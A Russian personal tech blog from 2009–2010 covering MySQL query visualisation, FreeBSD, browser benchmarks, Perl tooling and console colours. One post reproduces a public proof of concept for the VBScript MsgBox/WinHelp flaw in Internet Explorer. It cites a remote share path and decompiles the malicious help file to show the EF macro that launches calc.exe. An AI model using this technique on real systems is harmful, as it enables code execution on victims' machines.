-Подписка по e-mail

 

 -Поиск по дневнику

Поиск сообщений в NeoliteBSD

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 25.07.2007
Записей: 39
Комментариев: 25
Написано: 106

Widgetize!

Перспективы будущего

Вторник, 23 Ноября 2010 г. 13:04 + в цитатник
Что еще поменялось за последние годы? Если повспоминать, то года так до 2004 утверждение «чем больше частота процессора, тем лучше» было вполне справедливым. Начиная с 2004-2005 частота процессоров почти перестала расти, что связано с выходом на своего рода физические ограничения. Сейчас наращивать производительность можно за счет многоядерности — выполняя задачи параллельно. Но сделать много ядер на одном чипе не является большой проблемой – гораздо сложнее заставить их правильно работать в нагрузке. Как следствие – с этого момента роль софта кардинально возросла и значимость профессии «программист» в ближайшее время будет только набирать обороты.


Visual Explain из пакета maatkit

Суббота, 27 Марта 2010 г. 12:49 + в цитатник
По работе все чаще приходится оптимизировать запросы в связи с возрастающей нагрузкой на сервер. Но обычного EXPLAIN'а мне показалось мало и решено было найти что-нибудь выводящее процесс обработки запроса в более наглядном виде. Так я и наткнулся на пакет утилит maatkit.

Maatkit - это набор инструментов, который предоставляет собой расширенные средства по управлению MySQL, сбору аналитической информации и ее обработке, проведению рутинных операций, восстановлению данных и прочего. В пакет входит множество полезных инструментов, которых к сожалению нет в стандартной поставке с БД, но обязательно нужны для максимально эффективной работы. Этот пакет разработан и поддерживается компанией Percona - известных экспертов в области консультирования вопросов производительности.


На данный момент из всего многообразия утилит меня интересовала только одна - mk-visual-explain. Именно она отвечала за вывод результата работы команды EXPLAIN в виде древа.

Пример запроса:
select actor_id,
   (select count(film_id) from sakila.film join sakila.film_actor using(film_id))
from sakila.actor;


Результат EXPLAIN'а:
+----+-------------+------------+-------+----------------+--------------------+---------+---------------------+------+-------------+
| id | select_type | table      | type  | possible_keys  | key                | key_len | ref                 | rows | Extra       |
+----+-------------+------------+-------+----------------+--------------------+---------+---------------------+------+-------------+
|  1 | PRIMARY     | actor      | index | NULL           | PRIMARY            | 2       | NULL                |  200 | Using index |
|  2 | SUBQUERY    | film       | index | PRIMARY        | idx_fk_language_id | 1       | NULL                |  951 | Using index |
|  2 | SUBQUERY    | film_actor | ref   | idx_fk_film_id | idx_fk_film_id     | 2       | sakila.film.film_id |    2 | Using index |
+----+-------------+------------+-------+----------------+--------------------+---------+---------------------+------+-------------+


И собственно вывод mk-visual-explain:
SUBQUERY
+- JOIN
|  +- Index lookup
|  |  key            film_actor->idx_fk_film_id
|  |  possible_keys  idx_fk_film_id
|  |  key_len        2
|  |  ref            sakila.film.film_id
|  |  rows           2
|  +- Index scan
|     key            film->idx_fk_language_id
|     possible_keys  PRIMARY
|     key_len        1
|     rows           951
+- Index scan
   key            actor->PRIMARY
   key_len        2
   rows           200

Yota

Суббота, 13 Марта 2010 г. 18:07 + в цитатник
Неделю назад приобрел нетбук с поддержкой Йоты. И только сегодня решил проверить качество связи.
Собственно тесты:




От себя добавлю: сразу заметил, что периодически меняется внешний IP, в тому же наблюдаются некоторые проблемы с отдачей - тест на Upload что на SpeedTest'е что на Yandex'е прошел не с первого раза. В целом, интернет есть, что не может не радовать. Во всяком случае, в Зеленограде. Теперь предстоит тест зоны покрытия и в различных помещениях. Дома уровень сигнала (CINR/RSSI) колеблется от 24 dB/-54 dBm у окна до 4 dB/-93 dBm в коридоре.
Рубрики:  Исследования

Уязвимость в VBScript функции MsgBox() в Microsoft Windows. От идеи до реализации.

Среда, 03 Марта 2010 г. 10:06 + в цитатник
Утром коллега сообщил о новой уязвимости в IE связанной с VBScript. Новость была с Хабра, поэтому сразу пошел смотреть подробности: http://habrahabr.ru/blogs/infosecurity/86069/ редиректит нас на http://focus.ua/tech/103699 где, в сущности, нет ничего конкретного по технической стороне вопроса, что было вполне предсказуемо. Идем на СекуЛаб и быстро находим нужное - http://www.securitylab.ru/news/391250.php. Ага!
Исследователь Maurycy Prodeus опубликовал в пятницу PoC код, демонстрирующий эксплуатацию уязвимости в VBScript функция MsgBox()
Смотрим ссылки по теме: http://www.securitylab.ru/vulnerability/391247.php, далее http://blogs.technet.com/msrc/archive/2010/02/28/i...d-internet-explorer-issue.aspx - не то, далее http://www.isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt - вот оно!
Proof-of-Concept is available here:

http://isec.pl/poc-isec27/
Второй тест проходит успешно - winhlp32.exe крэшится как надо, а вот с Calc.exe проблемы: big = "\\184.73.14.110\PUBLIC\test.hlp" не найден =\ Немного погуглив, находим http://www.exploit-db.com/exploits/11615 и архив с искомым файлом:
===============================================================
A copy of test.hlp can be downloaded from here:
http://www.exploit-db.com/sploits/msgbox_test_help.zip
===============================================================
Скачиваем, проверяем - работает! Калькулятор успешно запустился! Но как?.. Начинаем копать: недолгие поиски привели к софтине HelpScribble. Для декомпиляции .hlp файла она посоветовала воспользоваться декомпиллером. Отлично! Качаем, запускаем, распаковываем test.hlp. На выходе два файла - test.rtf и test.hpj. Первый нам не нужен - он все равно пустой, а вот во втором мы находим искомое:
[OPTIONS]
LCID=0x409 0x0 0x0
COMPRESS=0

[CONFIG]
EF("C:\\WINDOWS\\calc.exe",`',1)

[FILES]
TEST.RTF

[MAP]
21KSYK4 1
Еще немного поисков и находим нужное - http://www.stcsig.org/oi/hyperviews/resources/winhelp_faq/whfaq_qa.htm
...

[3.1.8] Can I link to a URL (web site) from a help file? How?

There are a number of DLLs available for launching a web browser and displaying a web page. The DLLs are good when users don't have a default browser specified. If your users are relatively up to date, you can get away with a simple macro:

ExecFile(`http://www.mysite.net/default.html',,0,)

will usually do the trick. Both Netscape and Microsoft browsers will set up the files needed to launch a URL from the command line. The ExecFile macro just takes advantage of this capability. (Hint: From the Start menu, select Run, and then enter a URL. Click OK, and your browser should launch directly to the page you specified.)

...

Подробнее по ссылке - http://help.adobe.com/en_US/RoboHelp/Rword/7.0/mer...ELP_ExecFile_WinHelp_macro.htm

Help Workshop automatically converts the ExecFile macro to EF.

Вот и все! =) На все про все ушло не более получаса.

Рубрики:  Хроники
Исследования

Метки:  

Смена домена

Четверг, 03 Декабря 2009 г. 08:49 + в цитатник
Пока возился с другим доменом, вспомнил что неплохо было бы и для этого дневника адрес покороче сделать.
Сказано - сделано: новый адрес BSD.neolite.ru

FreeBSD 8.0 Release

Четверг, 26 Ноября 2009 г. 12:33 + в цитатник
 (277x100, 18Kb)

На ftp исходники и образы выложили уже давно, а вот новости на сайте все нет.

Хотя директория с данными по релизу потихоньку стала наполнятся документами: http://www.freebsd.org/releases/8.0R/

Предсказания почти сбылись, если считать среднее арифметическое (образы выложили раньше, документы по релизу несколько позже, а самой новости все еще нет).

UPD: Релиз!

PeaceKeeper - The Browser Benchmark

Вторник, 17 Ноября 2009 г. 13:31 + в цитатник
 (692x537, 82Kb)
Рубрики:  Исследования

Собственно опрос =)

Вторник, 10 Ноября 2009 г. 00:24 + в цитатник
Высшее образование

1. Нужно ли высшее образование среднестатистическому программисту?

Распространение модулей Perl под Windows

Среда, 04 Ноября 2009 г. 14:11 + в цитатник
Я уже писал о том, как упростить сборку модулей Perl под Windows. Теперь же я решил заняться их созданием. И тут пришлось добавить еще парочку утилит: tar и gzip. Установка также проста:

1. Подразумевается, что Perl у вас уже стоит и директория с исполняемыми файлами прописана в %PATH%. Если нет, смотрим предыдущий пост ;-)
2. Скачиваем Tar for Windows - http://gnuwin32.sourceforge.net/downlinks/tar-bin.php.
3. Скачиваем Gzip for Windows - http://gnuwin32.sourceforge.net/downlinks/gzip.php
4. Устанавливаем и то и другое (по умолчанию в D:\Program Files\GnuWin32\).
5. Копируем из D:\Program Files\GnuWin32\bin\ файлы tar.exe, libintl-2.dll, libiconv-2.dll и gzip.exe в директорию Perl с исполняемыми файлами - D:\Perl\bin\.

Теперь команда nmake dist, выполненная в директории с готовым модулем, выполнится без ошибок =)

P.S. Еще раз, но уже всерьез, задумался о том чтобы сделать свою сборку со всем необходимым.
Рубрики:  Tips&Tricks

Тестирование браузеров

Вторник, 03 Ноября 2009 г. 12:12 + в цитатник
Наверное, это одно из самых увлекательных занятий: тестирование очередной версии/сборки любимого браузера.
Так, как в последнее время было много обновлений. Я решил еще раз протестировать производительности основных браузеров, установленных у меня, используя популярный SunSpider JavaScript Benchmark.

Собственно график:
 (641x448, 18Kb)

Таблица:
#БраузерВерсияРезультат, ms
1Google Chrome 4.04.0.223.11796,0
2Mozilla Firefox 3.73.7a1pre Gecko/200911011 537,2
3Mozilla Firefox 3.63.6b1 Gecko/200910291 687,2
4Mozilla Firefox 3.53.5.4 Gecko/200910162 061,0
5Opera 10.1010.10 Beta build 18485 315,2
6Opera 10.0110.01 build 18445 539,8
7Opera 9.649.64 build 104876 358,6
8Internet Explorer 8.08.0.6001.18702CO8 500,2
9K-Meleon 1.51.5.3 Gecko/2009033118 549,8
Рубрики:  Исследования

HabraHabr

Пятница, 16 Октября 2009 г. 22:19 + в цитатник
Нет ли у кого лишнего инвайта? ;-)

Хакерский квест - HAX.TOR

Пятница, 07 Августа 2009 г. 18:35 + в цитатник
Началось все с упоминания данного квеста на Хабре.
Раньше я имел дело с подобными квестами, но обычно там было не более 5-10 заданий и проходились они за пару часов. И ничего кроме самоудовлетворения от их прохождения не получаешь.
Здесь все было несколько иначе: 5 простеньких заданий для отсеивания основной массы. Те же, кто проходил их, получал возможность зарегистрироваться для дальнейшего прохождения и shell на забугорном сервере.
Это было уже куда интереснее ;-)

Собственно, именно эта игра захватила меня в последние 2 недели. На момент написания статьи дошел до 26-го уровня, надеюсь дойти хотя бы до 30-го или пройти полностью до отпуска.

UPD: Отдых прошел успешно. Квест пройден до 42-го уровня. В процессе...
UPD2: 44 уровень...
UPD3: 48 уровень...
Рубрики:  Лирика

Расширенный ps

Суббота, 01 Августа 2009 г. 15:52 + в цитатник
Сделал по аналогии с xps только на perl и под FreeBSD:
perl-скрипт:

#!/usr/bin/perl

#use strict;
#use warnings;
#use diagnostics;

my %pids = ();
my $width = int(qx(/usr/bin/tput cols))-1;
my @processes = split(/[\r\n]/,qx(/bin/ps axwwo pid,ppid,stat,command));

shift(@processes);
foreach (@processes)
{
    my $pid = int(substr($_,0,5));
    my $ppid = int(substr($_,6,5));
    my $stat = substr($_,12,4);
    my $command = substr($_,17);
    $pids{$pid} = [$pid,$ppid,$stat,$command];
}
process(\%pids, 1, '', $width);

sub pr($$$)
{
    my ($proc,$level,$width) = @_;
    print "\033[1;32m$level\\_".$proc->[0]."\033[0;1;33m ".$proc->[2]."\033[0m ".$proc->[3]."\033[0m\n";
}

sub process
{
    my ($pids, $pid, $level, $width) = @_;
    pr($pids->{$pid},$level,$width);
    my @parents = sort { $a <=> $b } grep (($pids->{$_}[0] && $pids->{$_}[1] == $pid), keys %{$pids});
    foreach my $parent (@parents)
    {
        my $add = ($parent == $parents[-1]) ? ' ' : ' |';
        process($pids, $pids->{$parent}[0], $level.$add, $width);
    }
}

Рубрики:  Tips&Tricks

Цветная консоль. Черновик

Воскресенье, 12 Июля 2009 г. 21:36 + в цитатник
ls
Устанавливаем переменную CLICOLOR:
shell код:
setenv CLICOLOR YES
и переменную LSCOLORS:
shell код:
setenv LSCOLORS ExGxFxdxCxDxDxhbadExEx

Где ExGxFxdxCxDxDxhbadExEx - это последовательности цветов (fb - foreground, background):
код:
DIR=Ex
SYM_LINK=Gx
SOCKET=Fx
PIPE=dx
EXE=Cx
BLOCK_SP=Dx
CHAR_SP=Dx
EXE_SUID=hb
EXE_GUID=ad
DIR_STICKY=Ex
DIR_WO_STICKY=Ex


grep
Устанавливаем переменные GREP_COLOR и GREP_OPTIONS:
код:
setenv GREP_COLOR '1;31'
setenv GREP_OPTIONS ' --color=auto'


less (man)
Устанавливаем переменные LESS_TERMCAP_xx:
код:
setenv LESS_TERMCAP_mb '\033[01;31m' # begin blinking
setenv LESS_TERMCAP_md '\033[01;38;5;74m' # begin bold
setenv LESS_TERMCAP_me '\033[0m' # end mode
setenv LESS_TERMCAP_se '\033[0m' # end standout-mode
setenv LESS_TERMCAP_so '\033[38;5;246m' # begin standout-mode - info box
setenv LESS_TERMCAP_ue '\033[0m' # end underline
setenv LESS_TERMCAP_us '\033[04;38;5;146m' # begin underline


Вместо \033 должен быть сам символ (он же ESC, он же ^E). В ee (easy editor) достаточно нажать Ctrl+O и ввести код символа - 027.

Использованные материалы:
http://plug-and-pray.blogspot.com/2008/02/lscolors.html
http://habrahabr.ru/blogs/linux/65857/
http://www.opennet.ru/cgi-bin/openforum/vsluhboard...hforumID3&omm=0&m=1l#5
Рубрики:  Tips&Tricks
Исследования

Li.Ru

Воскресенье, 12 Июля 2009 г. 20:14 + в цитатник
Нет, в принципе, мне все нравится в этом сервисе. Точнее нравилось раньше. Чем больше я им пользуюсь, тем больше понимаю, сколько всего можно было бы изменить, сдлеать по-другому.

1. Больше всего напрягает кривость стилей для BBCode [code][/code] равно как и для [quote][/quote]
2. Частично вытекает из предыдущего: невозможность переопределить стили через <style></style>
3. Отсутствие возможности динамически менять размеры TEXTAREA. Благо тут на помощь приходит Google Chrome.

Начал подумывать от том, чтобы написать свой редактор сообщений для блога. Благо наработки в этой области имеются.

Сборка модулей Perl под Windows

Вторник, 07 Июля 2009 г. 12:44 + в цитатник
Оказывается все еще проще, чем я думал. Достаточно всего лишь nmake.

1. Скачиваем последнюю версию Perl http://www.activestate.com/activeperl/downloads/
2. Ставим (к примеру, в D:\Perl\)
3. Скачиваем утилиту nmake с сайта мелко-мягких: ftp://ftp.microsoft.com/Softlib/MSLFILES/NMAKE15.EXE
4. Переносим её в D:\Perl\usr\bin\.
5. Запускаем - она создает три файла: собственно сам nmake.exe, nmake.err - файл описания ошибок и readme.txt

Остается только добавить D:\Perl\usr\bin\ в %PATH% и дело сделано.

P.S. Подумываю о том, чтобы сделать готовую сборку.
Рубрики:  Tips&Tricks

Метки:  

AutoUpgrader Pro

Понедельник, 06 Июля 2009 г. 13:48 + в цитатник
Писал функцию для парсинга файлов АвтоАпгрейдера и решил поискать документацию по нему. А в результате подобрал запрос для поиска соотв. файлов: http://www.google.ru/search?hl=ru&client=opera...D0%BA&lr=&aq=f&oq=

Практически у всех в заголовке есть блок вида:
code:
#############################################################
# Generated by AutoUpgrader Pro at: m/d/Y H:i:s AM #
#############################################################
Рубрики:  Исследования

Метки:  

Система проверки обновлений

Пятница, 03 Июля 2009 г. 11:51 + в цитатник
Компьютеры появились достаточно давно, и изначально основной их целью была автоматизация неких процессов, в частности, вычислений.
Сейчас многие забыли об этом и используют компьютеры лишь для игр и серфинга в Сети. Я давно задумывался об автоматизации различных рутинных процессов, но каждый раз написание соответствующих программ оказывалось куда более менее эффективным занятием, чем выполнение тех же операций вручную. Но вот настал день, когда что-то изменилось...

Собирать различные программы я начал еще лет с 15. Потом появился интернет, форум в локалке, где я вскоре стал модератором раздела Windows Software. Поначалу программ было не не много, я учился в школе и было не сложно найти время для обновления коллекции. Но постепенно количество программ росло, а времени становилось все меньше и постепенно я перестал следить за обновлениями. Равно как и перестал тестировать программы - работа занимала большую часть суток.
Теперь же, когда я освободился от постоянной работы (перейдя на фриланс), от института с ненужными походами на лекции =), я снова обратил свой взгляд на устаревающую коллекцию софта и со свежими силами начал приводить её в порядок.
Сразу же стало понятно, что следить за обновлениями более, чем 700 программ практически нереально. К тому же с ростом программерского стажа и изучением новых технологий росла и моя лень: зачем проверять обновления самому? Пусть за меня это делает компьютер =) Так зародилась идея системы автоматической проверки обновлений, которая позднее переросла в полноценный FTP менеджер.
На данный момент разработка все еще находится на стадии глубокой альфы, но уже вполне работоспособна. Из 32-х обработанных мною программ (на момент написания статьи) имеются алгоритмы проверки обновлений для 23-х. Среди них такие как Opera, Miranda IM, Google Chrome, Your Uninstaller, AIMP2, 7-ZIp, EmEditor, K-Lite Codek и Mega Codec Pack, Sony Vegas, UltraISO и другие.
Изначально все было реализовано одним файлов и при каждой загрузке страницы проверялись обновления, но количество переработанных программ росло, а с ними и время загрузки страницы. Таким образом решено было разделить систему на две части:
1. Сканер обновлений.
Запускается по крону с определенной периодичностью (раз в час), поочередно соединяется с серверами обновлений различных программ и получает данные о последних версиях. Все полученные данные кэшируются в виде XML файла.
2. Веб-интерфейс.
Собственно, сама страница со списком переработанных программ, на которой также отображаются данные о последних версиях.
Ниже выводится краткая статистика: процентные отношения программ, для которых проверяются обновления и всех переработанных программ к общему количеству и те же значения в числовом виде: количество программ для которых проверяются обновления/количество подготовленных программ/общее количество программ в коллекции.

На данный момент веб-интерфейс доступен по адресу http://www.neolite.ru/ftp/updates.pl
Рубрики:  Статьи
Исследования

Метки:  

Поиск сообщений в NeoliteBSD
Страницы: [2] 1 Календарь